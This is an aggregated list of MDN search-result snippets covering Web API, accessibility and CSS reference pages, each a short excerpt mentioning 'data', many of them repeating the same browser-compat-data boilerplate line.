... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
TaskAttributionTiming.containerType - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLSlotElement.assignedSlot - Web APIs
WebAPITextassignedSlot
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Text.wholeText - Web APIs
WebAPITextwholeText
so you try this: para.firstchild.data = "thru-hiking is great, but "; all set, right?
... however, "); wholetext is just a property of text nodes that returns the string of data making up all the adjacent (i.e.
TextDecoder.prototype.decode() - Web APIs
options optional is a textdecodeoptions dictionary with the property: stream a boolean flag indicating that additional data will follow in subsequent calls to decode().
... set to true if processing the data in chunks, and false for the final chunk or if the data is not chunked.
Using Touch Events - Web APIs
// touchstart handler function process_touchstart(ev) { // use the event's data to call out to the appropriate gesture handlers switch (ev.touches.length) { case 1: handle_one_touch(ev); break; case 2: handle_two_touches(ev); break; case 3: handle_three_touches(ev); break; default: gesture_not_supported(ev); break; } } access the attributes of a touch point.
... implementation and deployment status the touch events browser compatibility data indicates touch event support among mobile browsers is relatively broad, with desktop browser support lagging although additional implementations are in progress.
UIEvent.initUIEvent() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
UIEvent.layerX - Web APIs
WebAPIUIEventlayerX
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.hash - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.host - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.hostname - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.href - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.origin - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.pathname - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.port - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.protocol - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.search - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.toString() - Web APIs
syntax string = object.tostring(); examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.tostring(); // returns:'https://developer.mozilla.org/urlutilsreadonly.href' browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
USBDevice.isochronousTransferOut() - Web APIs
syntax var promise = usbdevice.isochronoustransferout(endpointnumber, data, packetlengths) parameters endpointnumber the number of a device-specific endpoint (buffer).
... data a typedarray containing the data to send to the device.
USBDevice.opened - Web APIs
WebAPIUSBDeviceopened
what data can be passed to a usb device and how it is passed is particular and unique to each device.
... async setdevicecolor(usbdevice, r, g, b) { if (device.opened) { // this hypothetical usb device requires that the data passed to // it be in a uint8array.
USBDevice.transferIn() - Web APIs
the transferin() method of the usbdevice interface returns a promise that resolves with a usbtransferinresult when bulk or interrupt data is received from the usb device.
...the actual data is in the usbintransferresult in the resolved promise.
WEBGL_compressed_texture_etc1 - Web APIs
ext.compressed_rgb_etc1_webgl compresses 24-bit rgb data with no alpha channel.
... examples var ext = gl.getextension('webgl_compressed_texture_etc1'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgb_etc1_webgl, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_etc1the definition of 'webgl_compressed_texture_etc1' in that specification.
WEBGL_draw_buffers - Web APIs
tx[0], 0); gl.framebuffertexture2d(gl.framebuffer, ext.color_attachment1_webgl, gl.texture_2d, tx[1], 0); gl.framebuffertexture2d(gl.framebuffer, ext.color_attachment2_webgl, gl.texture_2d, tx[2], 0); gl.framebuffertexture2d(gl.framebuffer, ext.color_attachment3_webgl, gl.texture_2d, tx[3], 0); mapping the color attachments to draw buffer slots that the fragment shader will write to using gl_fragdata: ext.drawbufferswebgl([ ext.color_attachment0_webgl, // gl_fragdata[0] ext.color_attachment1_webgl, // gl_fragdata[1] ext.color_attachment2_webgl, // gl_fragdata[2] ext.color_attachment3_webgl // gl_fragdata[3] ]); shader code that writes to multiple textures: <script type="x-shader/x-fragment"> #extension gl_ext_draw_buffers : require precision highp float; void main(void) { gl_f...
...ragdata[0] = vec4(0.25); gl_fragdata[1] = vec4(0.5); gl_fragdata[2] = vec4(0.75); gl_fragdata[3] = vec4(1.0); } </script> specifications specification status comment webgl_draw_buffersthe definition of 'webgl_draw_buffers' in that specification.
WaveShaperNode.WaveShaperNode() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebGL2RenderingContext.createVertexArray() - Web APIs
the webgl2renderingcontext.createvertexarray() method of the webgl 2 api creates and initializes a webglvertexarrayobject object that represents a vertex array object (vao) pointing to vertex array data and which provides names for different sets of vertex data.
... return value a webglvertexarrayobject representing a vertex array object (vao) which points to vertex array data.
WebGL2RenderingContext.getActiveUniformBlockParameter() - Web APIs
gl.uniform_block_data_size: returns a gluint indicating the minimum total buffer object size.
... examples var blocksize = gl.getactiveuniformblockparameter(program, blockindex, gl.uniform_block_data_size); specifications specification status comment webgl 2.0the definition of 'getactiveuniformblockparameter' in that specification.
WebGL2RenderingContext.renderbufferStorageMultisample() - Web APIs
the webgl2renderingcontext.renderbufferstoragemultisample() method of the webgl 2 api returns creates and initializes a renderbuffer object's data store and allows specifying a number of samples to be used.
...possible values: gl.renderbuffer: buffer data storage for single images in a renderable internal format.
WebGL2RenderingContext.samplerParameter[if]() - Web APIs
examples var sampler = gl.createsampler(); gl.samplerparameteri(sampler, gl.texture_mag_filter, gl.nearest); specifications the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebGL2RenderingContext.vertexAttribIPointer() - Web APIs
the webgl2renderingcontext.vertexattribipointer() method of the webgl 2 api specifies integer data formats and locations of vertex attributes in a vertex attributes array.
... type a glenum specifying the data type of each component in the array.
WebGLProgram - Web APIs
examples using the program the steps to actually do some work with the program involve telling the gpu to use the program, bind the appropriate data and configuration options, and finally draw something to the screen.
... // use the program gl.useprogram(program); // bind existing attribute data gl.bindbuffer(gl.array_buffer, buffer); gl.enablevertexattribarray(attributelocation); gl.vertexattribpointer(attributelocation, 3, gl.float, false, 0, 0); // draw a single triangle gl.drawarrays(gl.triangles, 0, 3); deleting the program if there is an error linking the program or you wish to delete an existing program, then it is as simple as running webglrenderingcontext.deleteprogram().
WebGLRenderingContext.createBuffer() - Web APIs
the webglrenderingcontext.createbuffer() method of the webgl api creates and initializes a webglbuffer storing data such as vertices or colors.
... return value a webglbuffer storing data such as vertices or colors.
WebGLRenderingContext.framebufferRenderbuffer() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
...possible values: gl.renderbuffer: buffer data storage for single images in a renderable internal format.
WebGLRenderingContext.framebufferTexture2D() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
...hment7_webgl ext.color_attachment8_webgl ext.color_attachment9_webgl ext.color_attachment10_webgl ext.color_attachment11_webgl ext.color_attachment12_webgl ext.color_attachment13_webgl ext.color_attachment14_webgl ext.color_attachment15_webgl when using the webgl_depth_texture extension: gl.depth_stencil_attachment: depth and stencil buffer data storage.
WebGLRenderingContext.getVertexAttrib() - Web APIs
gl.vertex_attrib_array_normalized: returns a glboolean that is true if fixed-point data types are normalized for the vertex attribute array at the given index.
... when using a webgl 2 context, the following values are available additionally: gl.vertex_attrib_array_integer: returns a glboolean indicating whether or not an integer data type is in the vertex attribute array at the given index.
WebGLRenderingContext.renderbufferStorage() - Web APIs
the webglrenderingcontext.renderbufferstorage() method of the webgl api creates and initializes a renderbuffer object's data store.
...possible values: gl.renderbuffer: buffer data storage for single images in a renderable internal format.
Compressed texture formats - Web APIs
note that this advantage doesn't translate to network bandwidth: while the formats are better than uncompressed data, they are in general far worse than standard image formats such as png and jpg.
... no examples async function getcompressedtextureifavailable(gl) { const texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); // create texture object on gpu const ext = gl.getextension('webgl_compressed_texture_s3tc'); // will be null if not supported if (ext) { // the file is already in the correct compressed format const dataarraybuffer = await fetch('/textures/foobar512x512.rgba_s3tc_dxt1') .then(response => response.arraybuffer()); gl.compressedteximage2d(gl.texture_2d, 0, // set the base image level ext.compressed_rgba_s3tc_dxt1_ext, // the compressed format we are using 512, 512, // width, height of the image 0, // border, always 0 new dataview(dataarraybuffer)); gl.gene...
Matrix math for the web - Web APIs
matrices can be used to represent transformations of objects in space, and are used for performing many key types of computation when constructing images and visualizing data on the web.
...different coordinate spaces can be described with matrices, and some matrix multiplication will move one set of data from one coordinate space to another coordinate space.
WebGL: 2D and 3D graphics for the web - Web APIs
WebAPIWebGL API
guides data in webgl a guide to variables, buffers, and other types of data used when writing webgl code.
... philogl is a webgl framework for data visualization, creative coding, and game development.
WebSocket.bufferedAmount - Web APIs
the websocket.bufferedamount read-only property returns the number of bytes of data that have been queued using calls to send() but not yet transmitted to the network.
... this value resets to zero once all queued data has been sent.
WebSocket: message event - Web APIs
the message event is fired when data is received through a websocket.
...const socket = new websocket('ws://localhost:8080'); // listen for messages socket.addeventlistener('message', function (event) { console.log('message from server ', event.data); }); specifications specification status html living standardthe definition of 'websocket message' in that specification.
Web Video Text Tracks Format (WebVTT) - Web APIs
there is also a small api available to represent and manage these tracks and the data needed to perform the playback of the text at the correct times.
...if you are using the webvtt file for metadata these restrictions do not apply.
Geometry and reference spaces in WebXR - Web APIs
each object within the scene that needs to directly exchange position and orientation data with the webxr system needs to be able to report that information in a way that can be understood and adapted as needed to be comprehensible by other objects within the scene.
... by using a reference space to describe the position and orientation of objects, webxr is able to standardize the form of the data you use to describe these things, regardless of the underlying xr hardware.
Web Audio API best practices - Web APIs
you have to request the file and wait for it to load (this section of our advanced article shows a good way to do it), but then you have access to the data directly, which means more precision, and more precise manipulation.
... the last way is to generate your own sound, which can be done with either an oscillatornode or by creating a buffer and populating it with your own data.
Web Bluetooth API - Web APIs
bluetoothadvertisingdata provides advertising data about a particular bluetooth device.
... bluetoothremotegattcharacteristic represents a gatt characteristic, which is a basic data element that provides further information about a peripheral’s service.
Web Locks API - Web APIs
for example, if a web app running in multiple tabs wants to ensure that only one tab is syncing data between the network and indexed db, each tab could try to acquire a "my_net_db_sync" lock, but only one tab will succeed (the leader election pattern.) the api is used as follows: the lock is requested.
...the results are a snapshot of the lock manager state, which identifies held and requested locks and some additional data (e.g.
Web NFC API - Web APIs
the web nfc api allows exchanging data over nfc via light-weight nfc data exchange format (ndef) messages.
...a message is composed of metadata and ndef records.
window.cancelIdleCallback() - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.closed - Web APIs
WebAPIWindowclosed
refreshing a previously opened popup in this example the function refreshpopupwindow() calls the reload() method of the popup's location object to refresh its data.
... const popupwindow = null; function refreshpopupwindow() { if (popupwindow && !popupwindow.closed) { // popupwindow is open, refresh it popupwindow.location.reload(true); } else { // open a new popup window popupwindow = window.open('popup.html', 'datawindow'); } } specification specification status comment html living standardthe definition of 'window.closed' in that specification.
Window.customElements - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.devicePixelRatio - Web APIs
working draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.event - Web APIs
WebAPIWindowevent
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.minimize() - Web APIs
WebAPIWindowminimize
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.openDialog() - Web APIs
WebAPIWindowopenDialog
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window: popstate event - Web APIs
these methods and their corresponding events can be used to add data to the history stack which can be used to reconstruct a dynamically generated page, or to otherwise alter the state of the content being presented while remaining on the same document.
...the entry is now said to have "persisted user state." this information the browser might add to the history session entry may include, for instance, the document's scroll position, the values of form inputs, and other such data.
Window.print() - Web APIs
WebAPIWindowprint
living standard browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.prompt() - Web APIs
WebAPIWindowprompt
living standard browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.releaseEvents() - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.requestFileSystem() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
window.requestIdleCallback() - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.restore() - Web APIs
WebAPIWindowrestore
this method is currently not working, but you can use: window.moveto(window.screenx, window.screeny); browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.routeEvent() - Web APIs
WebAPIWindowrouteEvent
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.scroll() - Web APIs
WebAPIWindowscroll
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.scrollBy() - Web APIs
WebAPIWindowscrollBy
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.setCursor() - Web APIs
WebAPIWindowsetCursor
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.showModalDialog() - Web APIs
specification msdn page for showmodaldialog browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.speechSynthesis - Web APIs
elector('input'); var voiceselect = document.queryselector('select'); function populatevoicelist() { voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedo...
...ption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesis' in that specification.
Window.stop() - Web APIs
WebAPIWindowstop
recommendation browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.updateCommands() - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
self.createImageBitmap() - Web APIs
syntax const imagebitmappromise = createimagebitmap(image[, options]); const imagebitmappromise = createimagebitmap(image, sx, sy, sw, sh[, options]); parameters image an image source, which can be an <img>, svg <image>, <video>, <canvas>, htmlimageelement, svgimageelement, htmlvideoelement, htmlcanvaselement, blob, imagedata, imagebitmap, or offscreencanvas object.
... return value a promise which resolves to an imagebitmap object containing bitmap data from the given rectangle.
WindowOrWorkerGlobalScope.fetch() - Web APIs
some browsers accept the blob: and data: schemes.
... body any body that you want to add to your request: this can be a blob, buffersource, formdata, urlsearchparams, usvstring, or readablestream object.
Worker() - Web APIs
WebAPIWorkerWorker
note: that there is a disagreement among browser manufacturers about whether a data uri is of the same origin or not.
... though gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) and later accept data uris, that's not the case in all other browsers.
Worker.onmessage - Web APIs
WebAPIWorkeronmessage
note: the message payload is available in the message event's data property.
... var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); } in the worker.js script, an onmessage handler is used to the handle messages from the main script: onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresult); } notice how in the main s...
WorkerNavigator.permissions - Web APIs
browser support the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WritableStreamDefaultWriter.write() - Web APIs
the write() property of the writablestreamdefaultwriter interface writes a passed chunk of data to a writablestream and its underlying sink, then returns a promise that resolves to indicate the success or failure of the write operation.
... syntax var promise = writablestreamdefaultwriter.write(chunk); parameters chunk a block of binary data to pass to the writablestream.
XMLHttpRequest.readyState - Web APIs
3 loading downloading; responsetext holds partial data.
...this could mean that either the data transfer has been completed successfully or failed.
XMLHttpRequest.responseText - Web APIs
syntax var resulttext = xmlhttprequest.responsetext; value a domstring which contains either the textual data received using the xmlhttprequest or null if the request failed or "" if the request has not yet been sent by calling send().
... while handling an asynchronous request, the value of responsetext always has the current content received from the server, even if it's incomplete because the data has not been completely received yet.
XMLHttpRequest.send() - Web APIs
syntax xmlhttprequest.send(body) parameters body optional a body of data to be sent in the xhr request.
... an xmlhttprequestbodyinit, which per the fetch spec can be a blob, buffersource, formdata, urlsearchparams, or usvstring object.
XMLHttpRequestEventTarget.onloadstart - Web APIs
the xmlhttprequesteventtarget.onloadstart is the function called when an xmlhttprequest transaction starts transferring data.
... syntax xmlhttprequest.onloadstart = callback; values callback is the function to be called when the transaction begins to transfer data.
XMLHttpRequestEventTarget.onprogress - Web APIs
event event.loaded the amount of data currently transfered.
... event.total the total amount of data to be transferred.
XRPose.emulatedPosition - Web APIs
syntax let emulated = xrpose.emulatedposition; value a boolean which is true if the pose's position is computed based on estimates or is derived from sources other than direct sensor data.
...any such data is taken from other sources, such as keyboard or mouse inputs or game controllers.
XRView - Web APIs
WebAPIXRView
the value can also be none if the xrview is presenting monoscopic data (such as a 2d image, a full-screen view of text.
...the createteleporttransform() function returns the transform needed to move and rotate an object whose current situation is described by the reference space refspace to a new position and orientation which is computed using previously recorded mouse and keyboard input data which has generated offsets for yaw, pitch, and position along all three axes.
Using the link role - Accessibility
html <h1>role="link" example</h1> <span data-href="https://mozilla.org" tabindex="0" id="link1" role="link" class="link"> fake accessible link created using a span </span> <p><a href="https://mozilla.org" target="_blank">actual real link</a></p> css span[role="link"] { color: blue; text-decoration: underline; cursor: pointer; } span[role="link"]:focus { outline: 1px dotted black; } javascript const spanelem = document.query...
...e.target : e.srcelement; if (ref) { window.open(ref.getattribute('data-href'), '_blank'); } } } spanelem.addeventlistener('click', navigatelink); spanelem.addeventlistener('keydown', navigatelink); result notes if pressing the link triggers an action but does not change browser focus or navigate to a new page, you might wish to consider using the button role instead of the link role.
ARIA: table role - Accessibility
the table value of the aria role attribute identifies the element containing the role as having a non-interactive table structure containing data arranged in rows and columns, similar to the native <table> html element.
... best practices only use table, tbody, thead, tr, th, td, etc., for data table structure.
Basic form hints - Accessibility
the aria-invalid state can be programmatically applied, to indicate to an at which data fields have incorrect data, so that the user knows they have entered invalid data.
...type="text" value="phone" id="phone" aria-required="false"/> </div> <div> <label for="email">* e-mail:</label> <input type="text" value="email" id="email" aria-required="true"/> </div> </form> the script that validates the form entry would look something like this: var validate = function () { var emailelement = document.getelementbyid(emailfieldid); var valid = emailvalid(formdata.email); // returns true if valid, false otherwise emailelement.setattribute("aria-invalid", !valid); setelementbordercolour(emailelement, valid); // sets the border to red if second arg is false }; providing helpful error messages read how to use aria alerts to enhance forms.
Accessibility Information for Web Authors - Accessibility
it can perform a "complete webpage quality check" for accessibility, privacy, searchability, metadata and even alt text attribute quality.
...the output data report is displayed in a clear and well structured table where each and all checkpoints are identified and described (along with an helpful clickable link to the related reference guideline) into logical groups and according to measurable results: passed, warning, failed for automated verification, warning for manual verification, not selected, not available, not related, etc.
Web Accessibility: Understanding Colors and Luminance - Accessibility
the srgb color space the mdn document, <color> notes "the css data type represents a color in the srgb color space." color has many ways of being defined, including rgb, rgb decimal, rgb percent, hsl, cmyk among others.
... (see the video, the photosensitive epilepsy analysis tool) measuring color & luminance methods that measures color exploring the rgb color space further, as it is the color space used by the data type <color>, note that there are actually multiple "versions" of the rgb color space, such as srgb, scrgb, and rgba.
Perceivable - Accessibility
a text description may work, or an accessible data table (see html table advanced features and accessibility).
... 1.4.10 reflow (aa) added in 2.1 no horizontal scrolling for left-to-right languages (like english) or right-to-left languages (like arabic) no vertical scrolling for top-to-bottom languages (like japanese) except for parts of the content which require two-dimensional layout for usage or meaning (like a large data table) understanding reflow 1.4.11 non-text contrast(aa) added in 2.1 minimum color contrast ratio of 3:1 for user interface components and graphical objects.
::slotted() - CSS: Cascading Style Sheets
WebCSS::slotted
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:checked - CSS: Cascading Style Sheets
WebCSS:checked
recommendation defines the pseudo-class, but not the associated semantic browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:defined - CSS: Cascading Style Sheets
WebCSS:defined
living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:has() - CSS: Cascading Style Sheets
WebCSS:has
working draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:host-context() - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:host - CSS: Cascading Style Sheets
WebCSS:host
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
WebCSS:is
working draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:link - CSS: Cascading Style Sheets
WebCSS:link
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:read-only - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:read-write - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:scope - CSS: Cascading Style Sheets
WebCSS:scope
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:visited - CSS: Cascading Style Sheets
WebCSS:visited
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:where() - CSS: Cascading Style Sheets
WebCSS:where
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
@charset - CSS: Cascading Style Sheets
WebCSS@charset
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
src - CSS: Cascading Style Sheets
WebCSS@font-facesrc
the src css descriptor of the @font-face rule specifies the resource containing font data.
...fonts containing invalid data or local font faces that are not found are ignored and the user agent loads the next font in the list.
@font-feature-values - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
@supports - CSS: Cascading Style Sheets
WebCSS@supports
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Attribute selectors - CSS: Cascading Style Sheets
*/ div[lang|="zh"] { color: red; } /* all divs with a traditional chinese `data-lang` are purple.
... */ /* note: you could also use hyphenated attributes without double quotes */ div[data-lang="zh-tw"] { color: purple; } html <div lang="en-us en-gb en-au en-nz">hello world!</div> <div lang="pt">olá mundo!</div> <div lang="zh-cn">世界您好!</div> <div lang="zh-tw">世界您好!</div> <div data-lang="zh-tw">世界您好!</div> result html ordered lists the html specification requires the type attribute to be matched case-insensitively due to it primarily being used in the <input> element, trying to use attribute selectors to with the type attribute of an ordered list doesn't work without the case-sensitive modifier.
CSS Box Alignment - CSS: Cascading Style Sheets
the safe keyword will align to start in the case of a specified alignment causing an overflow, the aim being to avoid “data loss” where part of the item is outside of the boundaries of the alignment container and can’t be scrolled to.
... if you specify unsafe then the alignment will be honoured even if it would cause such data loss.
Variable fonts guide - CSS: Cascading Style Sheets
this results in more http requests, and more data being downloaded (usually around 20k or more per file).
... this allows for common typographic techniques such as setting different size headings in different weights for better readability at each size, or using a slightly narrower width for data-dense displays.
CSS Scrollbars - CSS: Cascading Style Sheets
baseline rules for scrollbar usability | adrian roselli browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
CSS reference - CSS: Cascading Style Sheets
WebCSSReference
use this css reference to browse an alphabetical index of all of the standard css properties, pseudo-classes, pseudo-elements, data types, and at-rules.
...the syntax for each specified value depends on the data type defined for each specified property.
align-content - CSS: Cascading Style Sheets
if the chosen keyword means that the item overflows the alignment container causing data loss, the item is instead aligned as if the alignment mode were start.
...regardless of the relative sizes of the item and alignment container and whether overflow which causes data loss might happen, the given alignment value is honored.
align-items - CSS: Cascading Style Sheets
if the chosen keyword means that the item overflows the alignment container causing data loss, the item is instead aligned as if the alignment mode were start.
...regardless of the relative sizes of the item and alignment container and whether overflow which causes data loss might happen, the given alignment value is honored.
<alpha-value> - CSS: Cascading Style Sheets
the <alpha-value> css data type represents a value that can be either a <number> or a <percentage>, specifying the alpha channel or transparency of a color.
... interpolation when animated, values of the <alpha-value> css data type are interpolated as real, floating-point numbers.
<angle> - CSS: Cascading Style Sheets
WebCSSangle
the <angle> css data type represents an angle value expressed in degrees, gradians, radians, or turns.
... syntax the <angle> data type consists of a <number> followed by one of the units listed below.
animation-delay - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
animation-direction - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
aspect-ratio - CSS: Cascading Style Sheets
editor's draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
background-position-x - CSS: Cascading Style Sheets
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
background-position-y - CSS: Cascading Style Sheets
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
background-position - CSS: Cascading Style Sheets
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
background-size - CSS: Cascading Style Sheets
